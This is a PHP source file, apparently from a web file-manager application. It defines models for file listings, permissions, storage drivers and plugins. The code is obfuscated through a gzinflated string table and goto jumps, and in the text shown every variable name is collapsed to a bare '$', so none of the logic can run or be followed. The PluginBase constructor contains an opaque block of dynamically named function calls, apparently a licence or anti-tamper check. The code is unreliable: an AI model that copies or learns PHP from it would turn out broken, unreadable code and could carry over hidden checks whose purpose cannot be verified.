$[$] = json_decode($, !0); } } $this->cacheSet($, $); $ = array_merge($, $); return $ ? $[$] : $; } public function set($, $ = false, $ = '') { $ =& $_SERVER[]; $this->cacheRemove($); $ = array(); $ = is_array($) ? $ : array($ => $); foreach ($ as $ => $) { if (is_array($)) { $ = json_encode_force($); } $this->checkLength($, !1, $this->tableName . $[4] . $); $ = self::textEncode($); $ = array($[33] => $, $[97] => $, $[462] => $); $[] = $this->filterWhere($); } if (!$) { return !0; } $ = $this->cacheKey($[488]); CacheLock::lock($); $ = $this->addAll($, array(), !0); CacheLock::unlock($); return $; } protected function optionDefault($ = '') { return !1; } public function setDeep($, $ = false, $ = '') { $ = explode($_SERVER[][10], $); $ = $this->get(); array_set_value($, $, $); $this->set($[0], $[$[0]], $); } public function remove($, $ = '') { $ =& $_SERVER[]; $this->cacheRemove($); $ = $this->filterWhere(array($[97] => $, $[33] => $)); if (is_null($)) { unset($[$[97]]); } return $this->where($)->delete(); } public function cacheSet($, $ = false) { return Cache::set($this->cacheKey($), $); } public function cacheGet($) { return Cache::get($this->cacheKey($)); } public function cacheRemove($) { return Cache::remove($this->cacheKey($)); } protected function filterWhere($) { return $; } protected function cacheKey($) { return $; } } class SourceListModel extends ModelBase { protected $tableName = "io_source"; protected $tableMeta = array("tableName" => "io_source_meta", "metaField" => "sourceID"); protected $dataAuto = array(array("modifyTime", "time", "insert", "function"), array("createTime", "time", "insert", "function"), array("viewTime", "time", "insert", "function")); protected static $cacheSourceInfo = array(); protected static $cachePathInfo = array(); protected static $cacheFileInfo = array(); protected static $cacheChildList = array(); const TYPE_SYSTEM = 0; const TYPE_USER = 1; const TYPE_GROUP = 2; public function listData($) { return $this->listSource(array($_SERVER[][489] => $)); } public function typeName($) { static $ = array(self::TYPE_SYSTEM => "system", self::TYPE_USER => "user", self::TYPE_GROUP => "group"); return $[$ . $_SERVER[][12]]; } public function sourceListInfo($, $ = false) { $ =& $_SERVER[]; $ = $ ? $ : array(); $ = array_filter(array_unique($)); if (!$) { return array(); } $ = $this->where(array($[194] => array($[7], $)))->select(); $this->_listDataApply($, $); return array_to_keyvalue($, $[194]); } public function pathInfoFilter(&$) { $ =& $_SERVER[]; static $ = false; static $ = false; static $ = false; if (!$) { $ = $[490]; $ .= $[491]; $ .= $[492]; $ = $[493]; $ = explode($[50], $); $ = explode($[50], $); $ = array(); foreach ($ as $) { if (in_array($, $)) { continue; } $[] = $; } $ = explode($[50], $[494]); } foreach ($ as $) { if (isset($[$])) { $[$] = intval($[$]); } } $[$[87]] = $[495] . $[$[194]] . $[496]; $[$[33]] = $[$[497]] == 1 ? $[78] : $[233]; $[$[191]] = $this->typeName($[$[191]]); if ($[$[497]] != 1) { $[$[169]] = $[$[498]]; unset($[$[498]]); } $ = $; if (isset($[$[499]]) && $[$[499]][$[500]] == -1) { $ = $; } $ = array_field_key($, $); return $; } public function listUserFav() { $ =& $_SERVER[]; $ = Model($[501])->listData(); $ = array_filter_by_field($, $[33], $[502]); $ = array_to_keyvalue($, $[12], $[87]); if ($) { $ = $this->listSource(array($[503] => array($[504], $))); } $ = array_to_keyvalue($[$[457]], $[194]); foreach ($ as &$) { $ = array($[505] => $[$[487]], $[506] => $[$[32]], $[507] => $[$[87]], $[508] => $[$[33]], $[509] => $[$[234]], $[510] => $[$[88]]); if ($[$[33]] == $[502] && $[$[$[87]]]) { $[$[90]] = $[$[$[87]]]; } } unset($); return $; } public function listUserTag($) { $ =& $_SERVER[]; if ($ && !is_array($)) { $ = array($); } $ = Model($[511])->listData(); $ = array(); $ = array(); foreach ($ as $) { $ = $[$[87]]; if (!$) { continue; } if (!isset($[$])) { $[$] = array(); } $[$][] = $[$[512]]; $[$[$[87]]] = $; } $ = array(); $ = array(); $ = array(); foreach ($ as $ => $) { $ = !0; if (!$) { $[] = $; continue; } foreach ($ as $) { if (!in_array($, $)) { $ = !1; break; } } if (!$) { continue; } if (!is_numeric($)) { $ = $[$]; $ = array($[32] => $[$[32]], $[87] => $[$[87]], $[33] => $[$[33]], $[90] => array($[513] => 1), $[235] => !0); if ($[$[33]] == $[233]) { $[] = $; } if ($[$[33]] == $[78]) { $[] = $; } continue; } $[] = $; } if ($) { $ = $this->listSource(array($[503] => array($[504], $))); } $ = $ ? $ : array($[85] => array(), $[86] => array()); $[$[85]] = array_merge($[$[85]], $); $[$[86]] = array_merge($[$[86]], $); if (isset($[$[454]]) && count($) == $[$[454]][$[455]]) { return $; } $ = array(); $ = array_to_keyvalue($[$[85]], $[12], $[194]); $ = array_to_keyvalue($[$[86]], $[12], $[194]); $ = array_merge($, $); foreach ($ as $) { if (!in_array($, $)) { $[] = $; } } if ($) { Model($[514])->removeBySource($); } return $; } public function listUserRecycle() { $ =& $_SERVER[]; $ = Model($[515])->listData(); if (!$) { return array(); } $ = array($[503] => array($[504], $), $[516] => 1); return $this->listSource($); } public function listSource($, $ = 3000, $ = false) { $ =& $_SERVER[]; if (!isset($[$[517]])) { $[$[517]] = 0; } if (isset($[$[193]]) && $[$[193]] == $[231]) { $[$[498]] = array($[518], $[12]); } $ = $[519]; $ = $this->field($)->_makeOrder()->where($)->selectPage($); $this->_listPageCheck($, $, $); $this->_listDataApply($[$[457]], $); $this->_listMake($); return $; } private function _listPageCheck(&$, $, $) { $ =& $_SERVER[]; if (!is_array($[$[454]])) { return; } $ = $[$[454]]; if ($[$[456]] <= 1) { return; } if ($[$[455]] >= 100000) { return; } if (Model($[520])->get($[521]) != $[522]) { return; } $ = str_replace(array($[53], $[429], $[288]), $[12], $); $ = $[523] . str_replace($[50], $[524], $) . $[525]; $ = $[526]; $ = $ . $[527]; $ = $[$[451]] * ($[$[440]] - 1) . $[50] . $[$[451]]; $ = $this->_makeOrder(!0); $ = $[523] . str_replace($[50], $[524], $[0]); if (strpos($, $[528])) { $ = str_replace($[528], $[529], $); } else { $ .= $[530] . $[1]; } $ = array(); foreach ($ as $ => $) { $[$[523] . $] = $; } $this->alias($[531])->field($)->limit($)->order($); $ = $this->join($)->where($)->select(); if ($) { $[$[457]] = $; } } protected function _makeOrder($ = false) { $ =& $_SERVER[]; $ = Model($[532])->get($[533]); $ = Model($[532])->get($[534]); $ = array($[535] => $[536], $[537] => $[538]); $ = array($[32] => $[32], $[79] => $[79], $[169] => $[498], $[539] => $[539], $[540] => $[541], $[234] => $[234], $[88] => $[88]); $ = Input::get($[542], $[7], $, array_keys($)); $ = Input::get($[543], $[7], $, array_keys($)); if (!in_array($, array_keys($))) { $ = $[32]; } if (!in_array($, array_keys($))) { $ = $[535]; } if ($ == $[32]) { } $ = $[544] . $[$] . $[53] . $[$]; $ = rtrim(trim($), $[50]); if ($) { return array($, $[$]); } return $this->order($); } protected function _listDataApplyItem($, $ = false) { $ = array($); $this->_listDataApply($, $); return $[0]; } protected function _listDataApply(&$, $ = false) { $ =& $_SERVER[]; if (!$) { $ = array(); return; } $ = array_to_keyvalue($, $[12], $[194]); $ = array_unique($); $this->_listSourceCache($); if (!$) { $this->_listAppendMeta($, $); $this->_listAppendFileMeta($, $); $this->_listAppendChildren($, $); } $this->_listAppendPath($); $this->_listAppendAuth($); $this->_listAppendSourceInfo($, $); $this->_listAppendUser($); $this->_listFilterInfo($, $); $this->_listAppendAuthSecret($); } protected function _listSourceCache($) { $ =& $_SERVER[]; foreach ($ as $) { self::$cacheSourceInfo[$[545] . $[$[194]]] = $; } } protected function _listFilterInfo(&$, $ = false) { $ =& $_SERVER[]; foreach ($ as &$) { $ = $this->pathInfoFilter($); self::$cachePathInfo[$[546] . intval($) . $[474] . $[$[194]]] = $; } unset($); } protected function _listMake(&$) { $ =& $_SERVER[]; $[$[85]] = array(); $[$[86]] = array(); foreach ($[$[457]] as $) { $ = $[$[497]] == 1 ? $[85] : $[86]; $[$][] = $; } unset($[$[457]]); } protected function _listAppendMeta(&$, $) { $ =& $_SERVER[]; $ = array($[503] => array($[504], $)); $ = Model($[547])->field($[548])->where($)->select(); if (!$) { return; } $ = array($[549], $[550], $[529]); $ = array(); foreach ($ as $) { if (!isset($[$[$[194]]])) { $[$[$[194]]] = array(); } if (in_array($[$[97]], $)) { continue; } if ($[$[97]] == $[551]) { $[$[462]] = $[552]; } $[$[$[194]]][$[$[97]]] = $[$[462]]; } foreach ($ as &$) { $[$[553]] = !1; if (isset($[$[$[194]]])) { $[$[553]] = $[$[$[194]]]; } if ($this->fileIsLock($) && $[$[499]]) { $ = AuthModel::AUTH_EDIT | AuthModel::AUTH_REMOVE; $[$[499]][$[500]] = AuthModel::authDisable($[$[499]][$[500]], $); $[$[499]][$[554]][$[499]] = $[$[499]][$[500]]; } } unset($); } protected function _listAppendFileMeta(&$, $) { $ =& $_SERVER[]; $ = array_to_keyvalue($, $[12], $[555]); $ = array_filter(array_unique($)); if (!$) { return; } $ = array($[556] => array($[504], $)); $ = $[557]; $ = Model($[558])->field($)->where($)->select(); $ = array_to_keyvalue($, $[555]); $ = Model($[559])->field($[560])->where($)->select(); $ = $ ? $ : array(); $ = array(); foreach ($ as $) { if (!isset($[$[$[555]]])) { $[$[$[555]]] = array(); } $[$[$[555]]][$[$[97]]] = $[$[462]]; } foreach ($ as &$) { $ = $[$[555]]; if (!$ || !is_array($[$])) { continue; } $ = $[$]; $[$[79]] = $[$[79]]; $[$[32]] = $[$[32]]; if (!$[$[561]]) { Model($[558])->fileMd5Check($); } if (!isset(self::$cacheFileInfo[$[562] . $])) { self::$cacheFileInfo[$[562] . $] = array_merge(array(), $); } unset($[$][$[87]]); $ = isset($[$]) && is_array($[$]) ? $[$] : array(); $[$[170]] = array_merge($, $[$]); if (isset($[$[170]][$[185]])) { $[$[185]] = json_decode($[$[170]][$[185]], !0); unset($[$[170]][$[185]]); } } unset($); } protected function _listAppendSourceInfo(&$, $) { $ =& $_SERVER[]; $ = Model($[563])->listData(); $ = Model($[511])->listData(); $ = Model($[501])->listData(); $ = Model($[564])->listSimple(); $ = array_to_keyvalue($, $[487]); $ = array_to_keyvalue_group($, $[87], $[512]); $ = array_to_keyvalue($, $[87]); $ = array_to_keyvalue_group($, $[194]); foreach ($ as &$) { $[$[90]] = array($[565] => 0, $[566] => 0, $[567] => 0); if (isset($[$[$[194]]])) { $[$[90]][$[568]] = 1; $[$[90]][$[569]] = $[$[$[194]]][$[32]]; } if ($ && $ && isset($[$[$[194]]])) { $[$[90]][$[570]] = array(); foreach ($[$[$[194]]] as $) { $ = $[$]; $[$[90]][$[570]][] = array($[571] => $[$[487]], $[506] => $[$[32]], $[572] => $[$[573]]); } } if ($ && isset($[$[$[194]]])) { $[$[90]][$[574]] = array(); foreach ($[$[$[194]]] as $) { $ = $[575]; if ($[$[576]] == $[91]) { $ .= $[577]; } $[$[90]][$[574]] = array_field_key($, explode($[50], $)); } } } unset($); return $; } protected function _listAppendChildren(&$, $) { $ =& $_SERVER[]; $ = array(); $ = array($[242] => 0, $[243] => 0); foreach ($ as &$) { if (!$[$[497]]) { continue; } $[] = $[$[194]]; } unset($); if (!$) { return; } $ = array($[193] => array($[7], $), $[517] => 0); $ = array($[193], $[497], $[578] => $[579]); $ = $this->field($)->where($)->group($[580])->select(); $ = array(); foreach ($ as $) { $ = $[$[193]]; $ = $[$[497]] == $[91] ? $[243] : $[242]; if (!isset($[$])) { $[$] = array($[242] => 0, $[243] => 0); } $[$][$] += $[$[579]]; } foreach ($ as &$) { if (!$[$[497]]) { continue; } $ = is_array($[$[$[194]]]) ? $[$[$[194]]] : $; $[$[243]] = $[$[243]]; $[$[242]] = $[$[242]]; unset($[$[498]]); } unset($); } protected function _listAppendAuth(&$) { $ =& $_SERVER[]; $ = array(); foreach ($ as $) { if ($[$[191]] == self::TYPE_GROUP) { $[] = $[$[194]]; } } if (!$) { return; } $ = array_to_keyvalue($, $[194]); $ = Model($[581])->getSourceList($, $); $ = KodUser::isRoot(); foreach ($ as $ => &$) { $[$[499]] = $[$[$[194]]]; if (!$[$[499]] && $[$[191]] == self::TYPE_GROUP) { $[$[499]] = Action($[582])->pathGroupAuthMake($[$[583]]); if (!$[$[499]] && !$) { $[$[236]] = !1; $[$[235]] = !1; } } if ($[$[499]]) { $[$[236]] = AuthModel::authCheckEdit($[$[499]][$[500]]); $[$[235]] = AuthModel::authCheckView($[$[499]][$[500]]); } $this->groupPathDisplay($); } unset($); } public function _listAppendAuthSecret(&$) { $ =& $_SERVER[]; if (Model($[520])->get($[584]) != $[91]) { return; } static $ = false; if (!$) { $ = Model($[585]); $ = Model($[586]); $ = $->listData(); $ = array_to_keyvalue($, $[194]); $ = json_decode(Model($[520])->get($[587]), !0); $ = array_to_keyvalue($, $[487]); foreach ($ as $ => $) { $ = $[$[$[588]]]; if (!$) { $->remove($[$[487]]); unset($[$]); continue; } $ = $->listData($[$[499]]); if (!$) { $->remove($[$[487]]); unset($[$]); continue; } $[$[499]] = $; $[$[589]] = $; $[$[590]] = Model($[591])->getInfoSimpleOuter($[$[539]]); $[$] = $; } } $ = USER_ID; $ = array(); $ = $this->_listAppendPath($, !0); foreach ($ as $ => &$) { if (!is_array($[$[499]])) { continue; } if ($[$[191]] != $[592]) { continue; } if (isset($[$[$[194]]])) { $ = $[$[$[194]]]; if (!is_array($[$[553]])) { $[$[553]] = array(); } $[$[553]][$[593]] = $[$[588]]; $[$[499]][$[594]] = $; $[$[499]][$[595]] = $[$[596]]; $[$[499]][$[597]] = $[91]; if ($[$[539]] != $) { $[$[499]][$[500]] = $[$[499]][$[500]] & $[$[499]][$[499]]; } continue; } $ = $this->parentLevelArray($[$[598]]); $ = array_reverse($); foreach ($ as $ => $) { if (!isset($[$])) { continue; } $ = $[$]; $[$[499]][$[594]] = $; if ($[$[539]] != $) { $[$[499]][$[500]] = $[$[499]][$[500]] & $[$[499]][$[499]]; } $ = $[12]; $ = count($) - $; for ($ = 0; $ < $; $++) { if (!isset($[$[$]])) { $ = $[12]; break; } $ = $ . rtrim($[$[$]], $[8]) . $[8]; } $[$[499]][$[595]] = rtrim($, $[8]) . $[8]; break; } } unset($); } public function groupPathDisplay(&$) { $ =& $_SERVER[]; if ($[$[191]] != self::TYPE_GROUP) { return; } $ = Model($[599])->getInfo($[$[583]]); $ = $this->parentLevelArray($[$[598]]); $ = $[12]; foreach ($ as $) { $ = Model($[599])->getInfo($); $ .= $[$[90]][$[194]] . $[50]; } $[$[600]] = $[$[193]]; $[$[601]] = $[$[598]]; $[$[602]] = $[$[603]]; $[$[604]] = $ . $[$[90]][$[194]]; } protected function _listAppendPath(&$, $ = false) { $ =& $_SERVER[]; static $ = array(); $ = array(); $ = array(); if ($) { return $; } foreach ($ as &$) { $ = $[$[194]]; if ($[$[497]] == $[91] && $[$[193]] != 0) { $[$] = $[$[32]]; } if ($[$[497]] == $[91] && $[$[193]] == 0) { $[$] = $this->_listAppendPathRoot($, array()); } if (isset($[$[$[598]]])) { continue; } $[$[$[598]]] = !0; $ = $this->parentLevelArray($[$[598]]); foreach ($ as $ => $) { if (isset($[$])) { continue; } if ($ == 0) { $[$] = $this->_listAppendPathRoot($, $); } if ($ != 0) { $[] = $; } } } unset($); $ = array_unique($); if (count($) > 0) { $ = array($[503] => array($[504], $)); if (count($) == 1) { $ = $this->sourceInfo($[0]); $ = is_array($) ? array($) : !1; } else { $ = $this->field($[605])->where($)->select(); } if (!$) { $ = array(); } foreach ($ as $) { $[$[$[194]]] = $[$[32]]; } } $ = KodIO::sourceID(IO_PATH_SYSTEM_RECYCLE); $ = array(); foreach ($ as &$) { $ = $[$[598]]; $ = $[12]; if (isset($[$])) { $ = $[$]; } else { $ = $this->parentLevelArray($[$[598]]); foreach ($ as $ => $) { if (isset($[$])) { $ .= $[$] . $[8]; } } $[$] = $; } $ .= $[$[32]]; if ($[$[497]] == $[91]) { $ .= $[8]; } $[$[596]] = str_replace($[257], $[8], $); if ($[$[193]] == $[231]) { $[$[32]] = trim($[$[$[194]]], $[8]); $[$[596]] = $[$[32]] . $[8]; } if (intval($[$[191]]) == self::TYPE_SYSTEM) { $this->_listAppendPathRecycle($, $, $); } } unset($); return $; } private function _listAppendPathRecycle(&$, $, $) { $ =& $_SERVER[]; if (!in_array($, $) && $[$[194]] != $) { return; } $ = explode($[8], trim($[$[596]], $[8])); $ = implode($[8], array_slice($, 2)); $[$[596]] = $[8] . LNG($[606]) . $[8] . ltrim($, $[8]); $[$[598]] = $[607] . implode($[50], array_slice($, 1)) . $[50]; if ($[$[194]] == $) { $[$[598]] = $[607]; $[$[193]] = $[231]; $[$[32]] = LNG($[606]); } $[$[608]] = $[609]; } protected function _listAppendPathRoot(&$, $) { $ =& $_SERVER[]; static $ = false; static $ = false; $ = $[12]; if ($[$[191]] == self::TYPE_USER) { if ($[$[583]] == USER_ID) { $ = LNG($[610]); if ($ === !1) { $ = Model($[611])->getInfoFull(USER_ID); $ = _get($, $[612], $[12]); } if ($ === !1) { $ = Model($[611])->getInfoFull(USER_ID); $ = _get($, $[613], $[12]); } if ($ && $[0] == $ || !$ && $[$[194]] == $) { $ = LNG($[614]); $[$[615]] = $[616]; } if ($ && $[0] == $ || !$ && $[$[194]] == $) { $ = $ . $[617] . LNG($[618]); } if (!$) { $[$[32]] = $; } } else { $ = Model($[611])->getInfoFull($[$[583]]); $ = _get($, $[613], $[12]); $[$[619]] = Model($[591])->getInfoSimpleOuter($[$[583]]); $ = LNG($[620]) . $[176] . $[$[619]][$[32]] . $[178]; if ($ && $[0] == $ || !$ && $[$[194]] == $) { $ = LNG($[620]) . $[621] . $[$[619]][$[32]] . $[617] . LNG($[618]) . $[178]; } } } else { if ($[$[191]] == self::TYPE_GROUP) { $ = Model($[599])->getInfoSimple($[$[583]]); $ = $[$[32]]; } else { if ($[$[191]] == self::TYPE_SYSTEM) { $ = $[622]; } } } $ = $ ? $[8] . $ . $[8] : $[8]; return $; } protected function _listAppendUser(&$) { $ =& $_SERVER[]; $ = array_to_keyvalue($, $[12], $[539]); $ = array_to_keyvalue($, $[12], $[541]); $ = array_merge($, $); $ = Model($[611])->userListInfo($); foreach ($ as &$) { $ = $[$[539]]; $[$[539]] = $[$] ? $[$] : !1; $ = $[$[541]]; $[$[541]] = $[$] ? $[$] : !1; if (_get($, $[623], 0)) { $ = $GLOBALS[$[6]][$[92]][$[624]]; if ($[$[553]][$[625]] <= time() - $) { $this->metaSet($[$[194]], $[626], null); $this->metaSet($[$[194]], $[625], null); unset($[$[553]][$[626]]); continue; } $ = $[$[553]][$[626]]; $[$[553]][$[627]] = Model($[611])->getInfoSimpleOuter($); } } unset($); } public function parentLevelArray($) { $ =& $_SERVER[]; $ = explode($[50], trim($, $[50])); return array_remove_value($, $[231]); } public function listAll($) { $ =& $_SERVER[]; $ = $this->sourceInfo($); $ = array($[628] => array($[629], $[$[598]] . $ . $[630]), $[631] => 0); $ = $[632]; $ = "LEFT JOIN {$this->tablePrefix}io_file file on source.fileID = file.fileID"; $ = $this->alias($[531])->field($)->where($)->join($)->select(); $this->_listAppendAuth($); $this->_listAppendUser($); $this->_listAppendPath($); $ = array_to_keyvalue($, $[194]); $ = "/{$[$[32]]}/"; $ = $ == $[257] ? $[8] : $; $ = array(); foreach ($ as $ => $) { $ = $this->parentLevelArray($[$[598]]); array_shift($); $ = $; for ($ = 0; $ < count($); $++) { $ .= $[$[$]][$[32]] . $[8]; } $ .= $[$[32]]; if ($[$[497]]) { $ .= $[8]; } $ = array($[507] => str_replace($[257], $[8], str_replace($[257], $[8], str_replace($[257], $[8], $))), $[633] => intval($[$[497]]), $[634] => intval($[$[79]]), $[88] => intval($[$[88]]), $[90] => $this->pathInfoFilter($)); if (!$[$[497]]) { $[$[555]] = $[$[555]]; } $[] = $; } $ = array_sort_by($, $[87]); return $; } } goto E; F: define($_SERVER[][0], $_SERVER[][1]); $_SERVER[] = explode($_SERVER[][2], gzinflate(substr($_SERVER[][3], 10, -8))); function binCheckEq($, $) { return $ == $; } goto f; F: class SourceSecretModel extends ModelBaseLight { public $optionType = "System.sourceSecretList"; public $field = array("sourceID", "typeID", "createUser"); } class StorageModel extends ModelBaseLight { public $optionType = "System.storageList"; public $field = array("name", "sizeMax", "system", "default", "driver", "config"); public function listData($ = false, $ = "modifyTime", $ = false) { $ =& $_SERVER[]; $ = parent::listData($, $, $); if ($) { return $; } $ = array(); if ($GLOBALS[$[2329]]) { $ = $this->ioSizeUseGet(array_to_keyvalue($, $[12], $[487])); } foreach ($ as $ => $) { unset($[$][$[6]]); $[$][$[1980]] = isset($[$[$[487]]]) ? $[$[$[487]]] : 0; } return $; } public function ioSizeUseGet($) { $ =& $_SERVER[]; if (!$) { return array(); } $ = $[2330] . implode($[50], $); $ = Cache::get($); if ($) { return $; } $ = array($[913] => $[487], $[2331] => $[79]); $ = array($[913] => array($[7], $)); $ = Model($[881])->field($)->where($)->group($[913])->select(); $ = array_to_keyvalue($, $[487], $[79]); Cache::set($, $, 600); return $; } public function getConfig($) { $ = parent::listData($); $ = _get($, $_SERVER[][6], array()); if ($ && !is_array($)) { $ = json_decode($, !0); } return $; } public function update($, $) { $ =& $_SERVER[]; $ = $[$[32]]; $ = array_to_keyvalue(parent::listData(), $[32]); if (isset($[$]) && $[$][$[487]] != $) { return !1; } $this->checkPwd($, $); if (isset($[$[2332]]) && $[$[2332]] == $[91]) { $this->checkConfig($); } unset($[$[2332]]); $ = parent::update($, $); if ($ && $[$[37]]) { $ = 0; foreach ($ as $) { if ($[$[37]] && $[$[487]] != $) { $ = $[$[487]]; parent::update($[$[487]], array($[37] => 0)); } } $this->updateBackup($, $); } return $; } public function add($) { $ =& $_SERVER[]; $ = array_to_keyvalue(parent::listData(), $[32]); if (isset($[$[$[32]]])) { return !1; } $this->checkConfig($); $ = parent::insert($); if ($ && $[$[37]]) { foreach ($ as $) { if ($[$[37]]) { parent::update($[$[487]], array($[37] => 0)); } } } return $; } public function updateBackup($, $) { $ =& $_SERVER[]; if (!$) { return; } $ = Model($[838])->config(); if ($[$[1760]] != $[91] || $[$[842]] != $) { return; } $ = Model($[860])->get($[867]); $ = json_decode($, !0); if (!$) { return; } $[$[842]] = $; Model($[860])->set(array($[867] => $)); } public function checkPwd($, &$) { $ =& $_SERVER[]; if (empty($[$[6]])) { return; } $ = $[$[6]]; if (!is_array($)) { $ = json_decode($, !0); } $ = $[12]; $ = array($[2333], $[2334], $[982]); foreach ($ as $) { if (isset($[$])) { $ = $; break; } } if (!$) { return; } $ = $this->getConfig($); $ = $[$]; $ = $[$]; if ($ == str_repeat($[223], strlen($))) { $[$] = $; $[$[6]] = json_encode($); } else { if ($ != $) { $[$[2332]] = $[91]; } } } public function checkConfig(&$, $ = false) { $ =& $_SERVER[]; $ = strtolower($[$[98]]); $ = $[$[6]]; if (!is_array($)) { $ = json_decode($, !0); } foreach ($ as $ => $) { if (is_string($)) { $[$] = trim($); } } $[$[2335]] = rand_string(6); $ = $GLOBALS[$[6]][$[92]][$[921]]; $ = isset($[$]) ? $[$] : ucfirst($); $ = $[77] . $; if (!$ || !class_exists($)) { if ($) { return LNG($[2336]); } write_log(array($[2337], $, get_caller_info()), $[216]); show_json(LNG($[2336]), !1, $); } $ = new $($); $ = rtrim($[$[1278]], $[8]) . $[8]; if (in_array($, $->objectDriver)) { try { if (!$->isBucketCors() && !$->setBucketCors()) { $ = LNG($[2338]); $ .= $[2339] . LNG($[2340]); } } catch (Exception $) { $ = $->getMessage(); } if (isset($)) { return $this->_parseError($, $, $); } if ($ == $[68] && !$->checkRegion()) { return $this->_parseError(LNG($[2341]), $, $); } } else { if ($ == $[2342]) { if ($->ftpPath) { $ = trim($, $[8]); if (stripos($, trim($->ftpPath, $[8])) !== 0) { $ = $->ftpPath . $[8] . ($ ? $ . $[8] : $[12]); } } } } $ = $->getPath($ . $[1282]); try { if ($ == $[109]) { $->mkdir($); } $ = $->mkfile($); if (!$) { $ = LNG($[2338]); } } catch (Exception $) { $ = $->getMessage(); } if (isset($)) { return $this->_parseError($, $, $); } $[$[1278]] = $; $[$[6]] = json_encode($); $[$[98]] = $; return !0; } private function _parseError($, $, $ = false) { $ =& $_SERVER[]; if ($ == $[68] && stripos($, $[2343])) { $ = explode($[10], $); $ = isset($[1]) ? $[1] : $[12]; $ = array($[2344] => LNG($[2345]), $[2346] => LNG($[2347])); if (isset($[$])) { $ = $[$]; } } if (stripos($, $[2348]) === 0) { $ = strpos($, $[178]); if ($ === !1) { $ = strpos($, $[4]); } if ($ !== !1) { $ = substr($, $ + 1); } } $ = LNG($[1285]) . $; if ($) { return $; } show_json($, !1); } public function driverListSystem() { $ =& $_SERVER[]; $ = parent::listData(); $ = array(); foreach ($ as $) { unset($[$[234]], $[$[88]]); if (!is_array($[$[6]])) { $[$[6]] = json_decode($[$[6]], !0); } $[] = $; } return $; } public function defaultDriver() { $ =& $_SERVER[]; $ = parent::listData(); $ = array_filter_by_field($, $[37], 1); $ = $[0]; if (!$) { return array(); } if (!is_array($[$[6]])) { $[$[6]] = json_decode($[$[6]], !0); } return $; } public function driverInfo($) { $ =& $_SERVER[]; $ = array_to_keyvalue(parent::listData(), $[487]); if (!isset($[$])) { return !1; } $ = $[$]; if (!is_array($[$[6]])) { $[$[6]] = json_decode($[$[6]], !0); } return $; } public function remove($) { $this->removeShareItems($); return parent::remove($); } public function removeWithFile($, $, $, $ = false) { $ =& $_SERVER[]; $ = array($[913] => $); $ = Model($[558])->where($)->count(); $ = Model($[558])->where($)->sum($[79]); $ = $ . $[2349] . $; $ = LNG($ == $[637] ? $[2350] : $[2351]); $ = new TaskFileTransfer($, $[216], $, $ . $[474] . $[$[32]] . $[215] . $); $->task[$[853]] = (double) $; $ = KodIO::defaultDriver(); $ = $[$[487]]; $ = $ = $ = array(); $ = Model($[233])->where($)->field($[2352])->select(); foreach ($ as $) { $ = $[$[555]]; if ($) { $[] = $; continue; } $ = $[$[87]]; $ = get_path_father($); $[] = $; $ = str_replace("{io:{$}}/", "{io:{$}}/", $); if (!IO::exist($)) { $[] = $; $->updateFileEnd($[$[32]], $[$[79]]); write_log($[2353] . $, $[1923]); continue; } $ = IO::move($, $, REPEAT_RENAME); if (!$) { $[] = $; $->updateFileEnd($[$[32]], $[$[79]]); write_log($[2354] . $, $[1923]); continue; } $ = array($[555] => $); $ = array($[913] => $, $[87] => $); Model($[233])->where($)->save($); } $ = $->task; if (!$) { Cache::set($, $); } $->end(); $ = array_unique($); $ = array_unique($); if (!$ && ($ || $)) { $ = array(); if ($) { $[] = sprintf(LNG($[2355]), count($)); } if ($) { $[] = sprintf(LNG($[2356]), count($)); } $ = sprintf(LNG($[2357]), implode($[2358], $)) . $[2359] . date($[2360]) . $[2361]; if ($ == $[1960]) { $ .= $[2362] . LNG($[2363]); } else { $ = LNG($[2364]) . $[2365] . $; } $[$[1280]] = $; Cache::set($, $); unset($[$[6]]); $ = array($[487] => $, $[2234] => $[637], $[32] => $[$[32]], $[98] => $[$[98]]); Hook::trigger($[1802], array($[1303] => $, $[1313] => !0)); show_json($, !1, 100111); } if ($ == $[637]) { return !0; } if ($ || $) { $ = array_merge($, $); $ = array_filter(array_unique($)); $this->removeByFileID($); } if ($) { $ = array_filter(array_unique($)); foreach ($ as $) { $ = IO::has($, !0); if (!$[$[242]] && !$[$[243]]) { IO::remove($); } } } return $this->remove($); } private function removeByFileID($ = array()) { $ =& $_SERVER[]; if (empty($)) { return; } $ = array($[555] => array($[7], $)); $ = Model($[1437])->where($)->field($[194])->select(); if (!$) { return Model($[558])->remove($); } $ = array_to_keyvalue($, $[12], $[194]); foreach ($ as $) { Model($[920])->removeNow($, !1); } } private function removeShareItems($) { $ =& $_SERVER[]; $ = "{io:{$}}/"; $ = array($[194] => 0, $[1273] => array($[471], "{$}%")); $ = Model($[1971])->where($)->field($[682])->select(); if (empty($)) { return; } $ = array_to_keyvalue($, $[12], $[682]); Model($[681])->remove($); } } class SystemLightAppModel extends ModelBaseLight { public $optionType = "System.LightApp"; public $modelType = "SystemOption"; public $field = array("name", "group", "desc", "content"); public function listData($ = false, $ = "modifyTime", $ = true) { return parent::listData($, $, $); } public function remove($) { $ = $this->findByName($); if (!$) { return !1; } return parent::remove($[$_SERVER[][487]]); } public function add($) { if ($this->findByName($[$_SERVER[][32]])) { return !1; } return parent::insert($); } public function update($, $) { $ =& $_SERVER[]; $ = $this->findByName($); $ = $this->findByName($[$[32]]); if (!$ || $ && $[$[487]] != $[$[487]]) { return !1; } return parent::update($[$[487]], $); } } goto c; A: class Message { function __construct() { } public function send($ = '', $ = array(), $ = "text") { $ =& $_SERVER[]; $ = array($[33] => $[1229], $[171] => $); if (in_array($, array($[1229], $[1638]))) { $[$[33]] = $; } $ = array($[592] => isset($[$[592]]) ? $[$[592]] : $[12], $[679] => isset($[$[679]]) ? $[$[679]] : $[12]); if (empty($) || empty($[$[592]]) && empty($[$[679]])) { return !1; } $ = array($[1567] => $, $[1639] => $); Hook::trigger($[1640], $); } } class PluginBase { public $in; public $pluginName; public $pluginPath; public $pluginHost; public $pluginHostDefault; public $pluginApi; public $packageData; private $pluginLangArr; private $pluginConfig; public $cachePath; public $fileInfo; function __construct() { $ =& $_SERVER[]; if ($_SERVER[$[318]] != $_SERVER[$[1445]]) { $ = $[973]; $ = $[319]; $ = $_SERVER[$[320]] . $[321]; $ = $($); $ = explode($[288], $); if (count($) < $[700]) { $ = $[323]; $(); } $ = $[974]; $($_SERVER[$[975]]); $($_SERVER[$[320]] . $[1641]); $ = 1; while ($ > 1) { $ = $ + 4; $ = rawurlencode($ . $[466]); } } global $in, $config; $this->config =& $config; $this->in =& $in; $this->modelPlugin = Model($[1642]); $this->pluginName = str_replace($[1642], $[12], get_class($this)); $this->pluginPath = PLUGIN_DIR . $this->pluginName . $[8]; $this->pluginApi = appHostGet() . $[1643] . $this->pluginName . $[8]; $this->pluginHost 